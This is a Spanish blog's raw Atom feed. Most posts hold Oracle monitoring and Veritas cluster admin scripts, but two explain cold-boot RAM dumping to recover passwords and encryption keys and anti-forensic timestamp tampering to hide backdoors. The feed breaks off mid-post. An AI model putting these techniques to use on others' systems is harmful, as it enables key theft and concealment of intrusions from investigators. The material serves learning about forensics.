comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7813119867482247347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7813119867482247347'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/08/parada-de-una-bd-oracle-en-vcs.html' title='Parada de una bd Oracle en VCS'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8273925757195138487</id><published>2008-07-29T08:51:00.007+02:00</published><updated>2010-07-16T17:51:59.766+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='monitorizacion'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Monitorizacion Oracle</title><content type='html'>oracle.bat:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: bat"&gt;&lt;br /&gt;@ECHO OFF&lt;br /&gt;REM oracle.bat 1.3 / 11-6-2008&lt;br /&gt;REM vlan7&lt;br /&gt;REM News from 1.2 / 11-6-2008&lt;br /&gt;REM -Pasada toda la cadena de tnsnames.ora a sqlplus. Ya funciona todo desde la red.&lt;br /&gt;REM .&lt;br /&gt;REM News from 1.1 / 10-6-2008&lt;br /&gt;REM -Sobreescribir "&gt;" en vez de append "&gt;&gt;"&lt;br /&gt;REM -Eliminada una " que sobraba&lt;br /&gt;REM -Testeado todo, OK&lt;br /&gt;REM .&lt;br /&gt;REM News from 1.0&lt;br /&gt;REM -Todos los sqlplus en una linea con ORs (|)&lt;br /&gt;REM -Los HTML resultantes se dejan en la ubicacion definitiva en red&lt;br /&gt;REM -Se añade automaticamente fecha a los archivos para no tener que hacerlo a mano&lt;br /&gt;REM -Testeado para un sqlplus OK&lt;br /&gt;&lt;br /&gt;@FOR /F "tokens=1,2,3 delims=/ " %%A IN ('DATE /t') DO @( &lt;br /&gt;SET dia=%%A&lt;br /&gt;SET mes=%%B&lt;br /&gt;SET any=%%C&lt;br /&gt;SET fecha=%%A-%%B-%%C&lt;br /&gt;)&lt;br /&gt;@ECHO ON&lt;br /&gt;&lt;br /&gt;sqlplus -L -S -M "HTML ON TABLE 'BORDER="2"'" system/password@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=host)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=bd))) @"\\servidor\oracle\monitorizacion_bd.sql"&gt;"\\servidor2\host\monitorizacion_bd%fecha%.html" | sqlplus ...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;monitorizacion_bd.sql:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: sql"&gt;&lt;br /&gt;-- MONITORITZACIO BBDD bd&lt;br /&gt;SET PAGESIZE 500&lt;br /&gt;&lt;br /&gt;TTITLE CENTER 'Verifico BBDD Oberta'&lt;br /&gt;select status from v$instance;&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Verificació tamany BBDD&lt;br /&gt;TTITLE CENTER 'Verifico tamany BBDD'&lt;br /&gt;select sum(BYTES)/1024/1024 MB from DBA_EXTENTS;&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Verificació número d´obectes associats al propietari USRSI que tenen algun error descartant aquells que no són procedures ni package ni funcions&lt;br /&gt;TTITLE CENTER 'Numero objectes del usuari USRSI amb errors deixant Package, Procedures y Functions.'&lt;br /&gt;select count(*) from dba_objects where OWNER='USRSI' and STATUS &amp;lt;&amp;gt;'VALID' and not OBJECT_TYPE='PROCEDURE' and not OBJECT_TYPE='PACKAGE BODY'and not OBJECT_TYPE='FUNCTION';&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Si existeix algun objecte erroni miro quin és.&lt;br /&gt;TTITLE CENTER 'Verificación objectes que donen error'&lt;br /&gt;select * from dba_objects where OWNER='USRSI' and STATUS&amp;lt;&amp;gt;'VALID';&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;REM --Verificació d´indexs que són vàlids i estan danyats.&lt;br /&gt;REM TTITLE CENTER 'Numero Indexs danyats'&lt;br /&gt;REM select count(*) from dba_indexes where (table_owner like 'USRSI' and status &amp;lt;&amp;gt; 'VALID' and partitioned &amp;lt;&amp;gt; 'YES') or (partitioned='YES' and status &amp;lt;&amp;gt; 'N/A' and table_owner like 'USRSI');&lt;br /&gt;REM TTITLE OFF;&lt;br /&gt;&lt;br /&gt;REM --Verificació quins indexs que són vàlids i estan danyats.&lt;br /&gt;REM TTITLE CENTER 'Nom Indexs danyats'&lt;br /&gt;REM select status, partitioned, index_name  from dba_indexes where (table_owner like 'USRSI' and status &amp;lt;&amp;gt; 'VALID' and partitioned &amp;lt;&amp;gt; 'YES') or (partitioned='YES' and status &amp;lt;&amp;gt; 'N/A' and table_owner like 'USRSI');&lt;br /&gt;REM TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Revisió dels indexs que estan particionats&lt;br /&gt;TTITLE CENTER 'Revisió de indexs particinats'&lt;br /&gt;select index_name, status, index_type, table_name, uniqueness, tablespace_name, partitioned, last_analyzed from dba_indexes WHERE OWNER='USRSI';&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Verificació espai lliure i ocupat als tablespaces.&lt;br /&gt;TTITLE CENTER 'Espai lliure i ocupat als tablespaces'&lt;br /&gt;select a.tablespace_name "Nombre del tablespace",&lt;br /&gt;to_char((sum(a.sumb) / sum(a.tots) * 100), '90.99') Porcentaje,&lt;br /&gt;sum(a.tots) "Total Ocupado",&lt;br /&gt;sum(a.sumb) "Total Libre"&lt;br /&gt;from (select tablespace_name,&lt;br /&gt;0 tots,&lt;br /&gt;sum(bytes) sumb,&lt;br /&gt;max(bytes) largest,&lt;br /&gt;count(*) chunks&lt;br /&gt;from dba_free_space a&lt;br /&gt;group by tablespace_name&lt;br /&gt;union&lt;br /&gt;select tablespace_name, sum(bytes) tots, 0, 0, 0&lt;br /&gt;from dba_data_files&lt;br /&gt;group by tablespace_name&lt;br /&gt;) a&lt;br /&gt;group by a.tablespace_name order by porcentaje desc;&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Numero de blocks dels indexs que estan en estat UNUSABLE&lt;br /&gt;TTITLE CENTER 'Numero de blocks que estan en estat UNUSABLE'&lt;br /&gt;SELECT 'Número de indices particionados inactivos' , count(ip.partition_name) Indices FROM dba_ind_partitions ip, dba_part_indexes pi WHERE ip.index_name = pi.index_name AND ip.status = 'UNUSABLE' AND OWNER='USRSI';&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Revisió de blocks dels indexs que estan unasable&lt;br /&gt;TTITLE CENTER 'Revisió de blocks dels indexos que estan unasable'&lt;br /&gt;SELECT 'Número de indices particionadas en estado unusable' , pi.table_name , ip.partition_name  FROM dba_ind_partitions ip, dba_part_indexes pi WHERE ip.index_name = pi.index_name AND ip.status = 'UNUSABLE' AND OWNER='USRSI';&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Estat Tablespaces.&lt;br /&gt;TTITLE CENTER 'Estat tablespaces'&lt;br /&gt;select * from dba_tablespaces;&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;--Estat DataFiles.&lt;br /&gt;TTITLE CENTER 'Estat DataFiles'&lt;br /&gt;select * from dba_data_files;&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;-- Sessions obertes que porten més d´un dia connectades&lt;br /&gt;TTITLE CENTER 'Sessions obertes que porten més d´un dia connectades'&lt;br /&gt;select * from v$session where ((sysdate - (LOGON_TIME))&amp;gt;1) and (SCHEMANAME&amp;lt;&amp;gt;'SYS');&lt;br /&gt;TTITLE OFF;&lt;br /&gt;&lt;br /&gt;exit;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8273925757195138487?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8273925757195138487' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8273925757195138487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8273925757195138487'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/07/monitorizacion-oracle.html' title='Monitorizacion Oracle'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4015873018013879381</id><published>2008-07-28T10:31:00.006+02:00</published><updated>2010-08-14T23:00:35.079+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='monitorizacion'/><category scheme='http://www.blogger.com/atom/ns#' term='solaris'/><title type='text'>Habilitar SAR (Solaris &lt;=9)</title><content type='html'>Descomentar /etc/init.d/perf:&lt;br /&gt;&lt;pre class="brush: bash"&gt;if [ -z "$_INIT_RUN_LEVEL" ]; then&lt;br /&gt;set -- `/usr/bin/who -r`&lt;br /&gt;_INIT_RUN_LEVEL="$7"&lt;br /&gt;_INIT_RUN_NPREV="$8"&lt;br /&gt;_INIT_PREV_LEVEL="$9"&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ $_INIT_RUN_LEVEL -ge 2 -a $_INIT_RUN_LEVEL -le 4 -a \&lt;br /&gt;$_INIT_RUN_NPREV -eq 0 -a \( $_INIT_PREV_LEVEL = 1 -o \&lt;br /&gt;$_INIT_PREV_LEVEL = S \) ]; then&lt;br /&gt;&lt;br /&gt;/usr/bin/su sys -c "/usr/lib/sa/sadc /var/adm/sa/sa`date +%d`"&lt;br /&gt;fi&lt;/pre&gt;&lt;br /&gt;Activar el crontab del sys:&lt;br /&gt;&lt;pre class="brush: bash"&gt;0 * * * 0-6 /usr/lib/sa/sa1&lt;br /&gt;20,40 8-17 * * 1-5 /usr/lib/sa/sa1&lt;br /&gt;5 18 * * 1-5 /usr/lib/sa/sa2 -s 8:00 -e 18:01 -i 1200 -A&lt;/pre&gt;&lt;br /&gt;Y ejecutar el script:&lt;br /&gt;&lt;pre class="brush: bash"&gt;/etc/init.d/perf&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4015873018013879381?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4015873018013879381' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4015873018013879381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4015873018013879381'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/07/habilitar-sar-solaris-9.html' title='Habilitar SAR (Solaris &lt;=9)'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-6845790447476876625</id><published>2008-07-24T19:11:00.006+02:00</published><updated>2011-11-21T10:54:39.411+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='HW'/><title type='text'>Recuperar datos de la RAM tras apagar el equipo</title><content type='html'>En la entrada reciente titulada "Anti-Forensics", Anonimo me dejo un comentario que decia:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Creo que lo que hablas de la memoria es esto:&lt;br /&gt;&lt;br /&gt;http://citp.princeton.edu/memory/&lt;br /&gt;&lt;br /&gt;saludos&lt;br /&gt;andoni&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Yo no lo lei ahi, pero me ha dado por escribir sobre ello basandome (profundamente) en esa pagina.&lt;br /&gt;&lt;br /&gt;La RAM almacena datos de lo que actualmente esta corriendo en el ordenador. Todo programa o proceso en ejecucion esta en la RAM. Otra cosa es que haya accesos a disco para recuperar informacion, pero todo lo que se esta ejecutando esta en la RAM.&lt;br /&gt;&lt;br /&gt;(Casi) cualquier informatico, incluso expertos, te dirian que cuando apagas el ordenador, los datos que estaban en la RAM se pierden. Eso es falso. Los datos de la RAM van desapareciendo en un tiempo que oscila entre varios segundos y varios minutos, permitiendo el analisis forense de esos datos aunque se haya apagado el equipo.&lt;br /&gt;&lt;br /&gt;Para aumentar este tiempo, podemos usar sprays de aire comprimido que enfrien la RAM a temperaturas cercanas a los -50ºC. Si el asunto es serio, puedes usar nitrogeno liquido hasta alcanzar cerca de los -200ºC para mantener en los chips la informacion durante HORAS.&lt;br /&gt;&lt;br /&gt;Esto puede ser usado para capturar passwords almacenados en RAM, lo cual es muy frecuente que ocurra. Y tambien puede ser usado para violar utilidades de cifrado como Truecrypt, pues todas ellas se basan en almacenar las claves de descifrado en RAM. Esto se hizo asi porque lo creian seguro, pues el S.O. no deja a ningun programa acceder a estas claves en memoria, y en principio la unica manera de pasar del S.O. seria apagando el equipo, con lo cual todo el mundo sabe que las claves almacenadas en RAM desaparecerian. Todo el mundo menos los que como no sabian que era imposible, lo hicieron.&lt;br /&gt;&lt;br /&gt;Pasemos a la accion.&lt;br /&gt;&lt;br /&gt;Apagamos la maquina. Arrancamos con un S.O. desde nuestra llave USB por ejemplo, y copiamos el contenido de la memoria.&lt;br /&gt;&lt;br /&gt;Haciendo esto habremos conseguido passwords almacenados en memoria, y claves de cifrado que podriamos usar para descifrar datos cifrados en disco.&lt;br /&gt;&lt;br /&gt;Pero antes de pasar a la accion, esperemos un momento, demostremos todo esto.&lt;br /&gt;&lt;br /&gt;UNIX. Crea un programa con un bucle infinito tal que asi:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;#!/bin/bash&lt;br /&gt;a = 'hola'&lt;br /&gt;b = 'vlan7'&lt;br /&gt;while [ 1 ]; do &lt;br /&gt;  c = '$a$b'&lt;br /&gt;done&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Pero antes de ejecutarlo, pasa todo el contenido de la memoria al disco.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;sync&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Ejecutalo ahora. No se mostrara nada, pero al cabo de un rato veras que el ordenador empieza a leer de disco, pues la RAM se ha llenado.&lt;br /&gt;&lt;br /&gt;Bien, ahora dale al boton de reset, y, cuando la maquina arranque, busca risperdal en memoria:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;# strings /dev/mem |less&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Veras trozos de la cadena &lt;b&gt;vlan7&lt;/b&gt;. Esa es la prueba de que datos de la RAM permanecieron tras el reset de la maquina.&lt;br /&gt;&lt;br /&gt;Y ahora el ataque. Y como yo soy asi, solo dire que podeis encontrar herramientas recientes (16-Jul-2008) en &lt;a href="http://citp.princeton.edu/memory/code/"&gt;&lt;b&gt;http://citp.princeton.edu/memory/code/&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6845790447476876625?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=6845790447476876625' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6845790447476876625'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6845790447476876625'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/07/recuperar-datos-de-la-ram-tras-apagar.html' title='Recuperar datos de la RAM tras apagar el equipo'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1257956221466345577</id><published>2008-07-24T15:07:00.009+02:00</published><updated>2011-11-21T10:57:15.704+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HA'/><category scheme='http://www.blogger.com/atom/ns#' term='solaris'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Arranque, parada y exports de BBDD Oracle en VCS bajo Solaris 8</title><content type='html'>&lt;u&gt;Arranque:&lt;/u&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#bd_start 1.1&lt;br /&gt;#vlan7 / 3-7-2008&lt;br /&gt;#Arranca la bd pasada como parametro $1 si la bd reside en mi nodo&lt;br /&gt;#&lt;br /&gt;#News from 1.0 (17-6-2008) to 1.1&lt;br /&gt;#Full PATH comandos cluster&lt;br /&gt;#&lt;br /&gt;#Ejemplo llamada:&lt;br /&gt;#./bd_start.sh grupo_bd&lt;br /&gt;#&lt;br /&gt;#!/bin/bash&lt;br /&gt;/opt/VRTSvcs/bin/halogin user pass&lt;br /&gt;#S1=Quien tiene la BBDD&lt;br /&gt;S1=`/opt/VRTSvcs/bin/hares -state $1 |grep ONLINE |awk '{print $3}'`&lt;br /&gt;S2=`hostname`&lt;br /&gt;&lt;br /&gt;if [ $S1 != $S2 ];&lt;br /&gt;then&lt;br /&gt;  /opt/VRTSvcs/bin/hares -online $1 -sys $S1&lt;br /&gt;fi&lt;/pre&gt;&lt;br /&gt;&lt;u&gt;Parada:&lt;/u&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#bd_shut 1.1&lt;br /&gt;#vlan7 / 3-7-2008&lt;br /&gt;#Para la bd pasada como parametro $1 si la bd reside en mi nodo&lt;br /&gt;#&lt;br /&gt;#News from 1.0 (17-6-2008) to 1.1&lt;br /&gt;#Full PATH comandos cluster&lt;br /&gt;#&lt;br /&gt;#Ejemplo llamada:&lt;br /&gt;#./bd_shut.sh grupo_bd&lt;br /&gt;#&lt;br /&gt;#!/bin/bash&lt;br /&gt;/opt/VRTSvcs/bin/halogin user pass&lt;br /&gt;#S1=Quien tiene la BBDD&lt;br /&gt;S1=`/opt/VRTSvcs/bin/hares -state $1 |grep ONLINE |awk '{print $3}'`&lt;br /&gt;S2=`hostname`&lt;br /&gt;&lt;br /&gt;#Si la bd la tengo yo, la paro&lt;br /&gt;if [ $S1 = $S2 ];&lt;br /&gt;then&lt;br /&gt;  /opt/VRTSvcs/bin/hares -offline $1 -sys $S1&lt;br /&gt;fi&lt;/pre&gt;&lt;br /&gt;&lt;u&gt;Exports:&lt;/u&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#export 1.2&lt;br /&gt;#vlan7 / 22-7-2008&lt;br /&gt;#exports de la bd pasada como parametro $1 si el recurso $2 reside en mi nodo&lt;br /&gt;#&lt;br /&gt;#News from 1.1 (3-7-2008) to 1.2&lt;br /&gt;#***&lt;br /&gt;#News from 1.0 (17-6-2008) to 1.1&lt;br /&gt;#Full PATH comandos cluster&lt;br /&gt;#&lt;br /&gt;#Ejemplo llamada:&lt;br /&gt;#./export.sh bd grupo_bd&lt;br /&gt;#&lt;br /&gt;#!/bin/bash&lt;br /&gt;ORACLE_BASE=/u01/app/oracle&lt;br /&gt;ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0&lt;br /&gt;ORACLE_SID=$1&lt;br /&gt;ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data&lt;br /&gt;PATH=$PATH:$ORACLE_HOME/bin:/usr/bin:/etc:/usr/ccs/bin:/usr/ucb:/usr/openwin/bin:/usr/local/bin&lt;br /&gt;NLS_LANG=american_america.we8iso8859p1&lt;br /&gt;&lt;br /&gt;export ORACLE_BASE ORACLE_HOME ORACLE_SID ORANLS33 PATH NLS_LANG&lt;br /&gt;/opt/VRTSvcs/bin/halogin user pass&lt;br /&gt;#S1=Quien tiene la BBDD&lt;br /&gt;S1=`/opt/VRTSvcs/bin/hares -state $2 |grep ONLINE |awk '{print $3}'`&lt;br /&gt;S2=`hostname`&lt;br /&gt;&lt;br /&gt;#Si la bd la tengo yo, hago los exports&lt;br /&gt;if [ $S1 = $S2 ];&lt;br /&gt;then&lt;br /&gt;  case $1 in&lt;br /&gt;    bd_comun1|bd_comun2|bd_comun3)&lt;br /&gt;      exp system/pass full=y grants=y rows=y file=/ruta/$1.dmp;;&lt;br /&gt;&lt;br /&gt;    bd_no_comun)&lt;br /&gt;      exp system/pass full=y grants=y rows=y file=/ruta/bd_no_comun.dmp;;&lt;br /&gt;&lt;br /&gt;    bd_no_comun_2)&lt;br /&gt;      exp system/pass tables='bd_no_comun2.sample_point' indexes=y grants=y rows=y file=/ruta/samplepoints.dmp;;&lt;br /&gt;&lt;br /&gt;    *) echo "Error. bd $1 inexistente";;&lt;br /&gt;  esac&lt;br /&gt;fi&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1257956221466345577?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1257956221466345577' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1257956221466345577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1257956221466345577'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/07/arranque-parada-y-exports-de-bbdd.html' title='Arranque, parada y exports de BBDD Oracle en VCS bajo Solaris 8'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7877356510799132760</id><published>2008-07-21T11:52:00.010+02:00</published><updated>2011-11-21T10:56:43.187+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='HA'/><category scheme='http://www.blogger.com/atom/ns#' term='solaris'/><title type='text'>Veritas Cluster Server. Verificacion nodo activo</title><content type='html'>Script para verificar si soy el nodo activo en el cluster VCS.&lt;br /&gt;&lt;pre class="brush: bash"&gt;#nodo_activo_yo.sh / vlan7 / 25-6-2008&lt;br /&gt;#&lt;br /&gt;#Devuelve 1 si yo es el grupo activo&lt;br /&gt;#Devuelve 0 si yo NO es el grupo activo&lt;br /&gt;#&lt;br /&gt;#Comprobar el valor de retorno consultando la variable $?&lt;br /&gt;#&lt;br /&gt;#Ejemplo llamada:&lt;br /&gt;#./node_activo_yo.sh&lt;br /&gt;#&lt;br /&gt;#!/bin/bash&lt;br /&gt;/opt/VRTS/bin/halogin login password&lt;br /&gt;#S1=Quien es el nodo activo&lt;br /&gt;S1=`/opt/VRTS/bin/hagrp -state grupo_yo |grep ONLINE |awk {'print $3'}`&lt;br /&gt;S2=`hostname`&lt;br /&gt;&lt;br /&gt;#Si yo es el grupo activo, devuelvo 1&lt;br /&gt;if [ $S1 == $S2 ]&lt;br /&gt;then&lt;br /&gt;  exit 1&lt;br /&gt;else&lt;br /&gt;  exit 0&lt;br /&gt;fi&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7877356510799132760?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7877356510799132760' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7877356510799132760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7877356510799132760'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/07/veritas-cluster-server-verificacion.html' title='Veritas Cluster Server. Verificacion nodo activo'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1104069882723793379</id><published>2008-07-12T02:26:00.007+02:00</published><updated>2012-02-09T14:39:19.251+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><title type='text'>Anti-forensics</title><content type='html'>"Como no sabian que era imposible, lo hicieron" &lt;br /&gt;&lt;br /&gt;El cifrado y la esteganografia pueden proteger tus datos. Esto es ya de sobra conocido asi que no dire nada. &lt;br /&gt;&lt;br /&gt;Otro metodo seguramente conocido. Sobreescribir los datos. Cualquier wipe deberia funcionar, pero para los mas paranoicos, el mas estricto es uno que hicieron los chicos del THC, que cumplia con el analisis presentado en el siguiente documento ya clasico: &lt;br /&gt;&lt;br /&gt;Secure Deletion of Data from Magnetic and Solid-State Memory &lt;br /&gt;&lt;br /&gt;Peter Gutmann &lt;br /&gt;Department of Computer Science &lt;br /&gt;University of Auckland &lt;br /&gt;pgut001@cs.auckland.ac.nz &lt;br /&gt;&lt;br /&gt;This paper was first published in the Sixth USENIX Security Symposium Proceedings, San Jose, California, July 22-25, 1996 &lt;br /&gt;Published under the Creative Commons license. &lt;br /&gt;&lt;br /&gt;http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html &lt;br /&gt;&lt;br /&gt;La NSA considera un borrado seguro aquel que hace 30 y pico pasadas sobreescribiendo el disco. De todas formas a mi me parece exagerado para los discos duros actuales, lo de analizarlos con microscopios paso a la historia. Yo no conozco manera humana de recuperar un disco cuyos datos han sido sobreescritos una sola vez. Pero para los mas paranoicos ahi queda eso. &lt;br /&gt;&lt;br /&gt;Bueno, ya esta bien, empecemos a hablar de asuntos serios. &lt;br /&gt;&lt;br /&gt;Los forenses se basan muchas veces en la fecha de ultima modificacion de un archivo para deducir evidencias de backdoors, archivos troyanizados, etc. &lt;br /&gt;&lt;br /&gt;Empecemos por Linux. Pongo como ejemplo el sistema de archivos ext3, el cual desarrollo una china muy guapa, pero eso es otro tema. ¿Linux es open source no? Bien, abramos /usr/src/linux/include/linux/ext3_fs.h &lt;br /&gt;&lt;br /&gt;Pasteemos la parte relevante. Como diria mi amigo Kynes al hacer un modelo en ciencia: "quitemos ruido vlan7". &lt;br /&gt;&lt;br /&gt;struct ext3_inode { &lt;br /&gt;__u16 i_mode; /* File mode */ &lt;br /&gt;__u16 i_uid; /* Low 16 bits of Owner Uid */ &lt;br /&gt;__u32 i_size; /* Size in bytes */ &lt;br /&gt;__u32 i_atime; /* Access time */ &lt;br /&gt;__u32 i_ctime; /* Creation time */ &lt;br /&gt;__u32 i_mtime; /* Modification time */ &lt;br /&gt;__u32 i_dtime; /* Deletion Time */ &lt;br /&gt;241: __u16 i_gid; /* Low 16 bits of Group Id */ &lt;br /&gt;&lt;br /&gt;Hay mas, pero solo nos interesa ese trozo. Y de ese trozo, las 2 lineas en negrita. Tenemos 2 llamadas que podemos usar para modificar esos "stamps" &lt;br /&gt;&lt;br /&gt;#include &lt;sys/types.h&gt; &lt;br /&gt;#include &lt;utime.h&gt;int utime( const char * filename, &lt;br /&gt;const struct utimbuf * buf); &lt;br /&gt;&lt;br /&gt;#include &lt;sys/time.h&gt;int utimes( const char * filename, &lt;br /&gt;const struct timeval times[2]); &lt;br /&gt;&lt;br /&gt;O podemos usar el The Defiler's Toolkit. Incluso podriamos usar el comando touch... &lt;br /&gt;&lt;br /&gt;¿Y en windows? El proyecto Metasploit (www.metasploit.com/projects/antiforensics) ha desarrollado una utilidad muy maja llamada Timestamp. Es valida para NTFS. Y creo que solo para NTFS. &lt;br /&gt;&lt;br /&gt;Un inciso sobre esto. En Windows podemos evitar que se actualice la fecha de ultima modificacion de un archivo. HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisableLastAccessUpdate Lo ponemos a 1 y ya podemos modificar lo que queramos que la fecha de ultima modificacion no se vera alterada. Gracias Microsoft.&lt;br /&gt;&lt;br /&gt;Esto esta a 1 por defecto en Vista,&lt;br /&gt;&lt;br /&gt;Pasemos pagina. Hablemos ahora de esconder datos. ¿A que me refiero con esconder datos? Pues a esteganografia no, me refiero a guardar datos en sitios anormales del disco. &lt;br /&gt;&lt;br /&gt;Linux. 